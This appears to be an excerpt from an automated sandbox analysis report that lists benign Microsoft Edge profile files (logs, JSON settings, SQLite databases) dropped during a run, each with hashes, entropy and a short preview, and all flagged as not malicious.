Encrypted:	false
SSDEEP:	6:HURb12q2P923oH+Tcwt865IFUt8YURb11uJXZmw+YURb1dszkwO923oH+Tcwt86L:kYv4Yeb/WFUt8bzO/+b3o5LYeb/+SJ
MD5:	B09F43DF39F3EB612CC4C41480B42669
SHA1:	D8B14F18C622BC16F7D835165CAA3774174A2350
SHA-256:	D2034A1D36170E8526ADE55A42345C574486FB00D26AC28B0A358524A955C26E
SHA-512:	4C922CD19D708AC911F7B3FA8F1C87F723A38F6BABB76C1CD06BF575A3854958C77B1D1A9484635878CCDAB28D73C54A34FDC3C844386C7455A11C3BD13ABC81
Malicious:	false
Preview:	2024/11/17-06:35:24.548 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-06:35:24.549 1c10 Recovering log #3.2024/11/17-06:35:24.550 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.197749464628142
Encrypted:	false
SSDEEP:	6:HURb12q2P923oH+Tcwt865IFUt8YURb11uJXZmw+YURb1dszkwO923oH+Tcwt86L:kYv4Yeb/WFUt8bzO/+b3o5LYeb/+SJ
MD5:	B09F43DF39F3EB612CC4C41480B42669
SHA1:	D8B14F18C622BC16F7D835165CAA3774174A2350
SHA-256:	D2034A1D36170E8526ADE55A42345C574486FB00D26AC28B0A358524A955C26E
SHA-512:	4C922CD19D708AC911F7B3FA8F1C87F723A38F6BABB76C1CD06BF575A3854958C77B1D1A9484635878CCDAB28D73C54A34FDC3C844386C7455A11C3BD13ABC81
Malicious:	false
Preview:	2024/11/17-06:35:24.548 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-06:35:24.549 1c10 Recovering log #3.2024/11/17-06:35:24.550 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.218531618844565
Encrypted:	false
SSDEEP:	6:HURbgTpVq2P923oH+Tcwt8NIFUt8YURbgTzIgZmw+YURbgTzIIkwO923oH+Tcwt2:kKv4YebpFUt8bc/+bc5LYebqJ
MD5:	F2F7A2F1EEE08E28A508D13032E75A7F
SHA1:	C2598AF212F8FC9B6D45992FC42F7090AE8D3A4D
SHA-256:	2BD88D4B8728BFAF3E23149FD6C16C0D786129CB467AC6619B10FD8DD8D0C775
SHA-512:	9D759F2579E52D0AECB8CEC7BC931ED7F5B192C6222AE0CD96E2421304D713EC65B0636095B2965FC4FDFEE324A379CC404DFD169F1649C022A5168CE94BCC49
Malicious:	false
Preview:	2024/11/17-06:35:25.266 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-06:35:25.267 1d84 Recovering log #3.2024/11/17-06:35:25.267 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.218531618844565
Encrypted:	false
SSDEEP:	6:HURbgTpVq2P923oH+Tcwt8NIFUt8YURbgTzIgZmw+YURbgTzIIkwO923oH+Tcwt2:kKv4YebpFUt8bc/+bc5LYebqJ
MD5:	F2F7A2F1EEE08E28A508D13032E75A7F
SHA1:	C2598AF212F8FC9B6D45992FC42F7090AE8D3A4D
SHA-256:	2BD88D4B8728BFAF3E23149FD6C16C0D786129CB467AC6619B10FD8DD8D0C775
SHA-512:	9D759F2579E52D0AECB8CEC7BC931ED7F5B192C6222AE0CD96E2421304D713EC65B0636095B2965FC4FDFEE324A379CC404DFD169F1649C022A5168CE94BCC49
Malicious:	false
Preview:	2024/11/17-06:35:25.266 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-06:35:25.267 1d84 Recovering log #3.2024/11/17-06:35:25.267 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:05RtFlljq7A/mhWJFuQ3yy7IOWUHxC5udweytllrE9SFcTp4AGbNCV9RUIuS:05K75fOt4ud0Xi99pEYV
MD5:	81680B87BD8B640AC0B6855FF7904EB0
SHA1:	5C06AD15408E3D813431278350F1BF9C0FC60ABF
SHA-256:	BC7BE98D00876D921FCA294BC190D95C0BDBFF11549B343845FFA8B36F9D4B4E
SHA-512:	5920DB0080C122C13AE782A036C40387AFB70A007D5352D3D2D138DAC3E9619FE03D3C85B5862FA9C0B404811EC952A0772F481D348B9045167D356C954D9C6A
Malicious:	false
Preview:	............"......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.315388415830681
Encrypted:	false
SSDEEP:	12:kYv4Yeb8rcHEZrELFUt8b2x/+b2r5LYeb8rcHEZrEZSJ:v4Yeb8nZrExg8Ch9LYeb8nZrEZe
MD5:	0519638A87E5463C5E77D81679A26F0A
SHA1:	C5C569A967965A19997AFAB1A02ADF643D1B820D
SHA-256:	21A838C56901B1AB9D3FC6D79CCA26CF2C4DB7A74B4998F7998285CC0300903F
SHA-512:	408D5DD9C4E096F43972EB881F1907977315B1051D07FF7B3DDE6F9F5C656D28F5B873A3B87057D4E170A9DBEC0614471243CA4691F2124DF35679F3DE922B8A
Malicious:	false
Preview:	2024/11/17-06:35:29.602 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-06:35:29.603 1d84 Recovering log #3.2024/11/17-06:35:29.603 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.315388415830681
Encrypted:	false
SSDEEP:	12:kYv4Yeb8rcHEZrELFUt8b2x/+b2r5LYeb8rcHEZrEZSJ:v4Yeb8nZrExg8Ch9LYeb8nZrEZe
MD5:	0519638A87E5463C5E77D81679A26F0A
SHA1:	C5C569A967965A19997AFAB1A02ADF643D1B820D
SHA-256:	21A838C56901B1AB9D3FC6D79CCA26CF2C4DB7A74B4998F7998285CC0300903F
SHA-512:	408D5DD9C4E096F43972EB881F1907977315B1051D07FF7B3DDE6F9F5C656D28F5B873A3B87057D4E170A9DBEC0614471243CA4691F2124DF35679F3DE922B8A
Malicious:	false
Preview:	2024/11/17-06:35:29.602 1d84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-06:35:29.603 1d84 Recovering log #3.2024/11/17-06:35:29.603 1d84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1411
Entropy (8bit):	5.599671427987034
Encrypted:	false
SSDEEP:	24:A7tZWoUlHqGaalbTvXfLkmrXZVRoWKiV03y1x4LHfhNKgFHHmQ5da2LoEJ/MyG:atZxlNobTvvNrXZVlpV03Sx41HHHxdab
MD5:	9985E0DA30DC3472588DF01505B17311
SHA1:	56CF35FF8EC970763A431E2E10B8108B71FB5DB8
SHA-256:	3322086CA8CFF06637F52AFC21B5235A5167FCE1C785CCAB7A33C82EF1913EAC
SHA-512:	F89F2D0785BEA960F348BC821E25C83A5D01F2EAF5210BE0958F990352BA5C457C5DAE34FEAAB4AD8FA04F9F0B701222E30FB7693CDEBA08C76C13C903FD89AF
Malicious:	false
Preview:	..O.\|................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":715}.!_https://ntp.msn.com..LastKnownPV..1731843336054.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731843337811.._https://ntp.msn.com..MUID!.26C7834DE9B0666626559677E895674C.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731843336161,"schedule":[20,-1,10,-1,11,-1,-1],"scheduleFixed":[20,-1,10,-1,11,-1,-1],"simpleSchedule":[44,43,15,39,17,42,28]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731843335998.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193562581324027
Encrypted:	false
SSDEEP:	6:HURbg18lL+q2P923oH+Tcwt8a2jMGIFUt8YURbgV1Zmw+YURbgXnLVkwO923oH+k:kQ8Iv4Yeb8EFUt8bw1/+by5LYeb8bJ
MD5:	B0940ED946695EC131285ED3F3281808
SHA1:	4878A25E6B72CC708EEDEFFAA900754950D9A2AB
SHA-256:	1184E41DA941BD418F7B214D233F1968C4FFE75683ECCE8C2A9797FF11197C8B
SHA-512:	B4AE85F173A4E1304714B2A72F7338B702B24AB6297AD6197D6E89BD3C35A3E33C9E6AEC3E196943A78FDE47A25F355FF31ADD5ACFD6DDAF713A9C697D7299FA
Malicious:	false
Preview:	2024/11/17-06:35:25.213 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-06:35:25.214 17a8 Recovering log #3.2024/11/17-06:35:25.229 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193562581324027
Encrypted:	false
SSDEEP:	6:HURbg18lL+q2P923oH+Tcwt8a2jMGIFUt8YURbgV1Zmw+YURbgXnLVkwO923oH+k:kQ8Iv4Yeb8EFUt8bw1/+by5LYeb8bJ
MD5:	B0940ED946695EC131285ED3F3281808
SHA1:	4878A25E6B72CC708EEDEFFAA900754950D9A2AB
SHA-256:	1184E41DA941BD418F7B214D233F1968C4FFE75683ECCE8C2A9797FF11197C8B
SHA-512:	B4AE85F173A4E1304714B2A72F7338B702B24AB6297AD6197D6E89BD3C35A3E33C9E6AEC3E196943A78FDE47A25F355FF31ADD5ACFD6DDAF713A9C697D7299FA
Malicious:	false
Preview:	2024/11/17-06:35:25.213 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-06:35:25.214 17a8 Recovering log #3.2024/11/17-06:35:25.229 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0a6d040b-e460-4f41-8222-47b0ded4465e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\26bc53fb-4567-482f-be69-4985af434ba3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4ae03d18-7166-4bb0-bc56-00e049dfb24d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4e5944a0-72d8-4728-9d5b-e1aa622f3155.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.821252734673696
Encrypted:	false
SSDEEP:	96:te+Aur3Z4g12PeIRNn6mAJuxxFSVCRGZBjBPWVHbSfrE8LLg/0c4p0L/ZJV8Y:tTr3nOeK1A0xFinbjxqSk0c4p0L/ZJVb
MD5:	17438220CA5F52F97AC2618DD6E9EF0D
SHA1:	2EF10BBEF258BFE27A12D4CDC0FE58BEB6B204BB
SHA-256:	9ACE07858940F2920C4976452CC38F3B03C202925A41AF44555CE5D408518875
SHA-512:	30175D1F4E84C2C83A62F2EE84C5176E5594F736E1961DA13021E019A095E16FE6CC9390DF97959D558B22EF75911893DA4875C9C41CC85E0A1AB5624DA1407B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4a257.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.214035611840817
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCWi:uIEumQv8m1ccnvS6Q8qTGkv
MD5:	71AAC4A0E1E4F11AE001A6B6775D485D
SHA1:	F3EE4497378426805B49A7657D672567305FD647
SHA-256:	1EA010BE82479F2B42C2F2665133D9A53B21A1C95FBB4C9DB3C9FC6C8B840614
SHA-512:	74ACDFA6AF91C24FA9DD0D4C6A355CFA348CA9A7762400EDB1397066CFDE53E0F3A975937D44DB195B54BEAAE73334C3D2A61E772525A3CDDE354A50BD36DC54
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
